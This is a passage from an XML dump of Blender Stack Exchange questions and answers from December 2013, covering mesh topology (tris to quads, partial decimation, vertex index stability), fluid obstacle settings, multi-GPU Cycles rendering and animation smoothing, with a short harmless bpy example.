further:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dudqz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2013-12-17T20:14:18.300" Title="Select everything except ears from mesh of head" Tags="&lt;selection-tools&gt;" AnswerCount="5" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5538" PostTypeId="1" AcceptedAnswerId="5539" CreationDate="2013-12-15T03:22:09.867" Score="31" ViewCount="108501" Body="&lt;p&gt;I'm throwing a 3D triangulated mesh into an acoustic simulator.  The simulator instructions say that ideally it wants quads.  If it receives triangles, it will consider them as a degenerate quad (i.e. A B C -&gt; A B C A)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some automatic method of converting most (or all) of my triangles into quads?   Somehow pairing them up...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;π&lt;/p&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="3078" LastEditDate="2016-01-04T21:24:41.110" LastActivityDate="2020-10-27T03:55:04.077" Title="How do I convert a triangle mesh to a quads one?" Tags="&lt;mesh&gt;&lt;topology&gt;&lt;conversion&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="5539" PostTypeId="2" ParentId="5538" CreationDate="2013-12-15T03:27:20.097" Score="32" Body="&lt;p&gt;While in &lt;em&gt;Edit Mode&lt;/em&gt;, select the parts of your mesh you want to convert and use &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;J&lt;/kbd&gt; or from the &lt;em&gt;Faces&lt;/em&gt; special menu with &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;F&lt;/kbd&gt; &amp;gt; &lt;em&gt;Tris to Quads&lt;/em&gt; to convert tris to quads or via the &lt;em&gt;3d view header&lt;/em&gt;, use, &lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/meshes/editing/face/triangles_quads.html?#triangles-to-quads&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Mesh &amp;gt; Faces &amp;gt; Tris to Quads&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;This tool converts the selected triangles into quads by taking adjacent tris and removes the shared edge to create a quad, based on a threshold.&lt;/p&gt;&#xA;&lt;p&gt;To create a quad, this tool needs at least two adjacent triangles. If you have an even number of selected triangles, it is also possible not to obtain only quads. In fact, this tool tries to create &amp;quot;squarest&amp;quot; quads as possible from the given triangles, which means some triangles could remain.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12" LastEditorUserId="15924" LastEditDate="2020-10-27T03:54:55.030" LastActivityDate="2020-10-27T03:54:55.030" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="5540" PostTypeId="2" ParentId="5538" CreationDate="2013-12-15T03:53:49.497" Score="17" Body="&lt;p&gt;Another option is the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/modifiers/generate/remesh.html#remesh-modifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Remesh modifier&lt;/em&gt;&lt;/a&gt;. This modifier will result in a mesh that is all quads, regardless of the topology of the input mesh. From &lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/modifiers/generate/remesh.html#remesh-modifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;the wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The Remesh modifier is a tool for generating new mesh topology based on an input surface. The output follows the surface curvature of the input, but its topology contains only quads.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Note that if the mesh was originally quads, iKlsR's solution is what you want as it will preserve the topology (however it is not guaranteed to result in an all-quad mesh).&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2020-10-27T03:55:04.077" LastActivityDate="2020-10-27T03:55:04.077" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="5541" PostTypeId="1" AcceptedAnswerId="5557" CreationDate="2013-12-15T04:09:13.323" Score="8" ViewCount="671" Body="&lt;p&gt;If I base a script on vertex indices -- how much risk that the index will change with time? Is it possible to assign some identifier of my own to a vertex? For example, add a uuid for every vertex I am interested in.&lt;/p&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="599" LastEditDate="2013-12-15T04:15:33.033" LastActivityDate="2013-12-16T02:53:50.533" Title="Will vertex indices change?" Tags="&lt;scripting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5542" PostTypeId="1" AcceptedAnswerId="5544" CreationDate="2013-12-15T04:18:02.430" Score="14" ViewCount="14506" Body="&lt;p&gt;I wish to decimate only a selected portion of my mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The decimate modifier &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Decimate&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Decimate&lt;/a&gt;  doesn't work in edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if I switch to object mode, it works but it decimates the entire mesh!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get it to only decimate the selection?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using delete -&gt; dissolve is no good, as this creates n-gons; I require triangles / quads.&lt;/p&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="599" LastEditDate="2013-12-16T00:15:30.727" LastActivityDate="2017-03-17T06:55:56.213" Title="How do I decimate part of a mesh?" Tags="&lt;modifiers&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5543" PostTypeId="2" ParentId="5537" CreationDate="2013-12-15T04:22:48.177" Score="2" Body="&lt;p&gt;If I was in your situation I would go to Edit more, clicked on Z to toggle to wireframe mode, and used combination of loop select/deselect (Ctrl + Left mouse to add to selected area, Shift-Ctrl + Left mouse to subtract from selected area). It would take a few iterations, but you should get what you want in a minute or so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Positioning head for the first select so that two ears overlap in your view (for example by toggling to Ortho mode with keypad 5 and to Right view with keypad's 3) would speed things up. After you did first select -- it is better to avoid this exact position, so you do not unselect something you did not intend to.&lt;/p&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="1311" LastEditDate="2013-12-15T04:37:46.193" LastActivityDate="2013-12-15T04:37:46.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5544" PostTypeId="2" ParentId="5542" CreationDate="2013-12-15T04:23:22.717" Score="9" Body="&lt;p&gt;Note that the decimate modifier is a &lt;a href=&quot;https://docs.blender.org/manual/en/dev/modeling/modifiers/generate/decimate.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Modifier&lt;/a&gt;, which non-destructively affects the entire mesh (unless a vertex group is defined). From the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/modeling/modifiers/introduction.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Modifiers are automatic operations that affect an object in a non-destructive way. With modifiers, you can perform many effects automatically that would otherwise be tedious to do manually (such as subdivision surfaces) and without affecting the base topology of your object.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Because of this, a modifier which works in edit mode wouldn't really make sense because edit mode is for editing the base topology.&lt;/p&gt;&#xA;&lt;p&gt;Note that some modifiers (such as &lt;a href=&quot;https://docs.blender.org/manual/en/dev/modeling/modifiers/generate/subsurf.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Subsurf&lt;/a&gt;) support being viewed in edit mode, however this will not do what you want.&lt;/p&gt;&#xA;&lt;h1&gt;Vertex Groups:&lt;/h1&gt;&#xA;&lt;p&gt;You can however specify a part of the mesh for the modifier to affect by creating a &lt;em&gt;vertex group&lt;/em&gt; and assigning that to the modifier.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a vertex group by by pressing the &lt;strong&gt;+&lt;/strong&gt; button in &lt;em&gt;Object Data &amp;gt; Vertex Groups&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Assign geometry to it by selecting the geometry you want to decimate in edit mode and clicking &lt;em&gt;Assign&lt;/em&gt; in &lt;em&gt;Object Data &amp;gt; Vertex Groups&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UWcDF.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Pick the vertex group in the modifier:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/s0hGe.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h1&gt;Sculpting:&lt;/h1&gt;&#xA;&lt;p&gt;Another option is to use &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.66/Dynamic_Topology_Sculpting&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Dynamic topology sculpting&lt;/em&gt;&lt;/a&gt;. This allows you to paint the areas for decimation. See &lt;a href=&quot;https://blender.stackexchange.com/a/5564/599&quot;&gt;my answer here&lt;/a&gt; for more detail.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2017-03-17T06:55:56.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5545" PostTypeId="2" ParentId="5390" CreationDate="2013-12-15T04:33:03.500" Score="0" Body="&lt;p&gt;I've found the solution to getting modules to install for Python 3.3, which will work in the blender python environment, while having Python 2.7 installed along side for separate programming projects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution was simple - install Python 3.3 at C:\Python33 like a standard installation, then REMOVE every python related instance in the environment variables for Users and System, this includes PATH, PYTHONHOME, and PYTHONEVIRONMENT. Of course, you don't want to delete the PATH variable if it holds other data, but the other two can be completely deleted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, when you download and install a Python 3.3 module, like PySerial, you install it just as you would if you were installing it to program outside of Blender. Now, if you want to check your installations of Python are still available to you, in a console, type py -2 or py -3 for the respective interpreters. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, with your 3.3 module installed, if you open a blender python window and type 'import serial', you'll get a good import and you can play with third party modules in Blender without a problem.&lt;/p&gt;&#xA;" OwnerUserId="1799" LastActivityDate="2013-12-15T04:33:03.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5546" PostTypeId="2" ParentId="5537" CreationDate="2013-12-15T05:39:45.240" Score="5" Body="&lt;p&gt;Another way: If you don't mind adding some extra points on the model, you may also consider to separate ears by cutting them off using &lt;strong&gt;Knife Cut&lt;/strong&gt; or &lt;strong&gt;Knife Project&lt;/strong&gt; tool:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fNeC0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5ZJFS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PROS&lt;/strong&gt;: Almost perfect clean separation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CONS&lt;/strong&gt;: Add extra vertices to the original mesh. You may judge and weigh if this is acceptable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; to add those vertices to a new group for the restraining usage in Decimate modifier panel.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2013-12-15T07:26:56.087" LastActivityDate="2013-12-15T07:26:56.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5547" PostTypeId="1" AcceptedAnswerId="5551" CreationDate="2013-12-15T05:47:51.140" Score="14" ViewCount="2733" Body="&lt;p&gt;In our simulation, Fluid (water) drops on an obstacle and splashes. It mostly works fine, but there is noticeable part which &lt;em&gt;remains on top of the obstacle&lt;/em&gt;! In reality, there should be no water there, as you can see the shape of the obstacle is very rounded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a setting we are missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Our settings:&lt;/strong&gt; Obstacle is &lt;code&gt;no slip&lt;/code&gt;. Fluid is &lt;code&gt;free slip&lt;/code&gt; (which, it was assumed, forces water not to stick to obstacle). Water. Baking resolution is &lt;code&gt;150&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5iBmU.gif&quot; alt=&quot;Animation of water sticking to top of rounded cube&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;See some frames:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tUVvH.png&quot; alt=&quot;(1) Water above rounded cube (2) Water hitting rounded cube (3) Water stuck to rounded cube&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;br&gt;&#xA;based on accepted answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DamDR.gif&quot; alt=&quot;Animation of water _not_ sticking to rounded cube&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1716" LastEditorUserId="1716" LastEditDate="2013-12-16T04:02:08.797" LastActivityDate="2013-12-16T04:02:08.797" Title="Why does fluid (water) stick to the top of an obstacle?" Tags="&lt;animation&gt;&lt;physics&gt;&lt;fluid-simulation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5548" PostTypeId="2" ParentId="5537" CreationDate="2013-12-15T07:06:40.537" Score="1" Body="&lt;p&gt;One way is to hide the ears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have the loop around the ears selected&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;press &lt;kbd&gt;H&lt;/kbd&gt; to hide the selected vertices&lt;/li&gt;&#xA;&lt;li&gt;with the mouse over the ear press &lt;kbd&gt;L&lt;/kbd&gt; to select all connected visible vertices&lt;/li&gt;&#xA;&lt;li&gt;press &lt;kbd&gt;H&lt;/kbd&gt; to hide the selected vertices&lt;/li&gt;&#xA;&lt;li&gt;repeat for other side&lt;/li&gt;&#xA;&lt;li&gt;simplify the mesh&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt; to unhide the ears&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You may want to cleanup a bit around the edge that was hidden, but the hidden vertices will not be effected by any editing actions taken on the visible vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also hide incrementally, so you can select a few vertices at the tip of the ear, press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;numpad&lt;/kbd&gt;&lt;kbd&gt;+&lt;/kbd&gt; to increase the selection then &lt;kbd&gt;H&lt;/kbd&gt; to hide them, select some remaining ear vertices, increase the selection and hide them... till you have hidden the area you want protected.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="696" LastEditDate="2013-12-15T07:12:03.187" LastActivityDate="2013-12-15T07:12:03.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5549" PostTypeId="2" ParentId="5527" CreationDate="2013-12-15T07:24:32.100" Score="4" Body="&lt;p&gt;It sounds like you are assuming that the emitter and the visible object have to be the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can have a low res mesh visible with particles coming through it that are emitted from an underlying high res mesh. You can even have several emitters hidden from view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IF3bZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-12-15T07:24:32.100" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5551" PostTypeId="2" ParentId="5547" CreationDate="2013-12-15T08:00:19.660" Score="16" Body="&lt;p&gt;The no-slip for the obstacle is incorrect. No-slip as in not slippery so it is sticky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the wiki &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Fluid/Obstacle&quot;&gt;page on obstacles&lt;/a&gt; -&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Noslip causes the fluid to stick to the obstacle (zero velocity).&lt;/li&gt;&#xA;&lt;li&gt;Free(-slip) allows movement along the obstacle (only zero normal velocity).&lt;/li&gt;&#xA;&lt;li&gt;Part(-slip) mixes both types, with 0 being mostly noslip, and 1 being identical to freeslip.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-12-15T08:00:19.660" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5552" PostTypeId="2" ParentId="5228" CreationDate="2013-12-15T08:01:08.367" Score="10" Body="&lt;p&gt;Using more than one GPU will certainly speed up cycles.&#xA;In user preferences-&gt;system-&gt;compute device you can configure which cuda devices to use (or ignore).&#xA;When rendering, each GPU will render one tile (following the settings on the performance tab). The more GPUs, the more tiles being rendered simultaneously, so two GPUs will cut rendering time almost to one half. Other than rendering, only one GPU will be used for calculations and to refresh the screen.&#xA;The memory accessible for rendering is going to be limited to that of the card with the least memory.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2016-02-28T18:51:39.757" LastActivityDate="2016-02-28T18:51:39.757" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5553" PostTypeId="1" CreationDate="2013-12-15T10:38:10.803" Score="5" ViewCount="5376" Body="&lt;p&gt;Why is my animation shaking so much? It's not smooth. When he is in the air in one frame he falls down suddenly. His head and upper body shakes. I hope you understand what i mean, you can see my animation here: &lt;a href=&quot;http://screencast-o-matic.com/watch/cIlo6wnV5D&quot; rel=&quot;nofollow&quot;&gt;http://screencast-o-matic.com/watch/cIlo6wnV5D&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1855" LastEditorUserId="599" LastEditDate="2013-12-15T17:22:11.563" LastActivityDate="2013-12-15T17:22:11.563" Title="How to smooth animation?" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5554" PostTypeId="2" ParentId="5553" CreationDate="2013-12-15T10:57:27.447" Score="6" Body="&lt;p&gt;It's not that bad I think? But if you want to see motion over time, use the graph editor. Here you can see how transformation happens over time. The more vertical the curve is, the more rapidly the change are. If the curve delta (change over time) differs, the movement may appear jerky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the screenshot below I have circles a jerky translation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kZ4lD.png&quot; alt=&quot;curve editor&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2013-12-15T10:57:27.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5556" PostTypeId="2" ParentId="5527" CreationDate="2013-12-15T13:02:15.467" Score="4" Body="&lt;p&gt;I'm leaning towards the answer to my question being currently a no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried many combinations without the desired result, however I have found a work around!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In particle settings under Velocity are the setting Tangent and Rot (rotation). By taking sections of a model and making vertex groups you can control what angle particles in that area spawn at relative to the surface normal. However! You must use very very small amounts of both Normal (same as length) and Tangent as adding Tangent seems to wildly increase the hair length. A Normal of 0.002 and a Tangent of 0.03 is a good start. Dialing the rotation (Rot) from -1 to 1 spins the hairs direction though a full rotation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To save time, creating the particle effect should be done first. When adding a new area, select the original hair setting and make it Single User before dialing the Rot to its desired angle.&lt;/p&gt;&#xA;" OwnerUserId="1849" LastActivityDate="2013-12-15T13:02:15.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5557" PostTypeId="2" ParentId="5541" CreationDate="2013-12-15T13:57:40.170" Score="7" Body="&lt;p&gt;In general vertex indices are not a reliable way to keep track of vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However in some cases you can't avoid using them (MDD/PC2 animations and texmesh feature for example), basically - as long as you only deform the geometry and don't add/remove/subdivide... etc. They can be used - but users of your tools need to be aware of this limitation. If you can avoid relying on vertex indices, its normally best to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This example shows why vertex indices aren't safe as reference:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;bpy.ops.object.mode_set(mode='EDIT', toggle=False)&#xA;&#xA;ob = bpy.context.object&#xA;verts = ob.data.vertices&#xA;&#xA;print(&quot;Before&quot;, verts[0].co)&#xA;# could also be edge-split, subdivide, knife-project, delete ... etc&#xA;bpy.ops.mesh.sort_elements(type='RANDOMIZE', elements={'VERT',})&#xA;ob.update_from_editmode()&#xA;print(&quot;After&quot;, verts[0].co)&#xA;&#xA;# Before &amp;lt;Vector (1.0000, 1.0000, -1.0000)&amp;gt;&#xA;# After &amp;lt;Vector (1.0000, 1.0000, 1.0000)&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should look into custom data layers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/bmesh.html#customdata-access&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/documentation/blender_python_api_2_69_release/bmesh.html#customdata-access&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="55" LastEditDate="2013-12-16T02:53:50.533" LastActivityDate="2013-12-16T02:53:50.533" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5558" PostTypeId="1" CreationDate="2013-12-15T15:10:46.547" Score="2" ViewCount="150" Body="&lt;p&gt;I'm having trouble with decimation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a mesh of a head. I wish to decimate to 10%, whilst keeping the ears at 100%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I create a Vertex group for each ear, and a third vertex group called foo for the remaining vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9C3Xe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is this foo group I wish to decimate:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wUXDR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far this is good, but if I lower the ratio below 0.3 it goes wonky:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KNbb0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, I almost have what I need. If I apply the same decimation again, that should reduce the detail sufficiently.  i.e. 30% * 30% = 9% ~ 0.1 which is what I was after.  But applying it twice, the second application gives another wonky picture the same as the one I posted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I shouldn't have to be sidestepping around weird behaviour I don't understand. Is it a bug, or am I doing something wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS I guess I can manually create a new Vertex group and decimate that...&lt;/p&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="599" LastEditDate="2013-12-15T19:17:17.150" LastActivityDate="2013-12-15T19:17:17.150" Title="Decimation glitch for ratio &lt; 0.2" Tags="&lt;modifiers&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5559" PostTypeId="2" ParentId="5558" CreationDate="2013-12-15T17:43:17.167" Score="3" Body="&lt;p&gt;The ratio on the decimate modifier doesn't refer to level detail, it refers to the number of faces. From the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Decimate#Options&quot; rel=&quot;nofollow&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;Ratio&lt;/em&gt;: The ratio of faces to keep after decimation, from 0.0 (0%, all faces have been completely removed) to 1.0 (100%, mesh is completely&#xA;  intact, except quads have been triangulated). &#xA;      As the percentage drops from 1.0 to 0.0, the mesh becomes more and more decimated until it no longer visually looks like the original&#xA;  mesh.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-12-15T17:43:17.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5560" PostTypeId="2" ParentId="5537" CreationDate="2013-12-15T18:13:45.053" Score="1" Body="&lt;p&gt;One way to quickly select a string of vertices is by using the &lt;em&gt;Select Shortest Path&lt;/em&gt; tool.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select two vertices for the end points of the string selection:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9Fswe.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;em&gt;Shortest Path&lt;/em&gt; in &lt;em&gt;3D view &amp;gt; Header &amp;gt; Select&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/No6Km.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/72fL2.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;It only selects in straight lines, (no curving or circles) but I imagine this could speed up your workflow a bit.&lt;/p&gt;&#xA;&lt;p&gt;You could use this to select your boundary and use &lt;em&gt;Select Boundary Loop Inner-region&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Do this for both ears, then invert the selection (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;I&lt;/kbd&gt;)&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-12-15T23:33:04.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5561" PostTypeId="1" AcceptedAnswerId="5562" CreationDate="2013-12-15T20:20:39.880" Score="7" ViewCount="548" Body="&lt;p&gt;How can I remove the ridge created by the edge of the T-shirt?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the mesh in an acoustic simulator, and a distinct ridge is sure to create some unnecessary echo artefacts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any better alternative than simply decimating the mesh?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RtjWL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1693" LastActivityDate="2013-12-15T20:42:14.447" Title="Removing ridge by smoothing" Tags="&lt;mesh&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5562" PostTypeId="2" ParentId="5561" CreationDate="2013-12-15T20:22:30.153" Score="3" Body="&lt;h1&gt;Modifiers:&lt;/h1&gt;&#xA;&lt;p&gt;You could try the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Deform/Smooth::&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Smooth&lt;/em&gt; modifier&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Deform/Smooth::&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;This modifier smooths a mesh by flattening the angles between adjacent faces in it, just like Smooth in the Editing context. It smooths without subdividing the mesh – the number of vertices remains the same.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h1&gt;Sculpting:&lt;/h1&gt;&#xA;&lt;p&gt;Another option is to try and remove it manually with &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Sculpt_Mode&quot; rel=&quot;nofollow 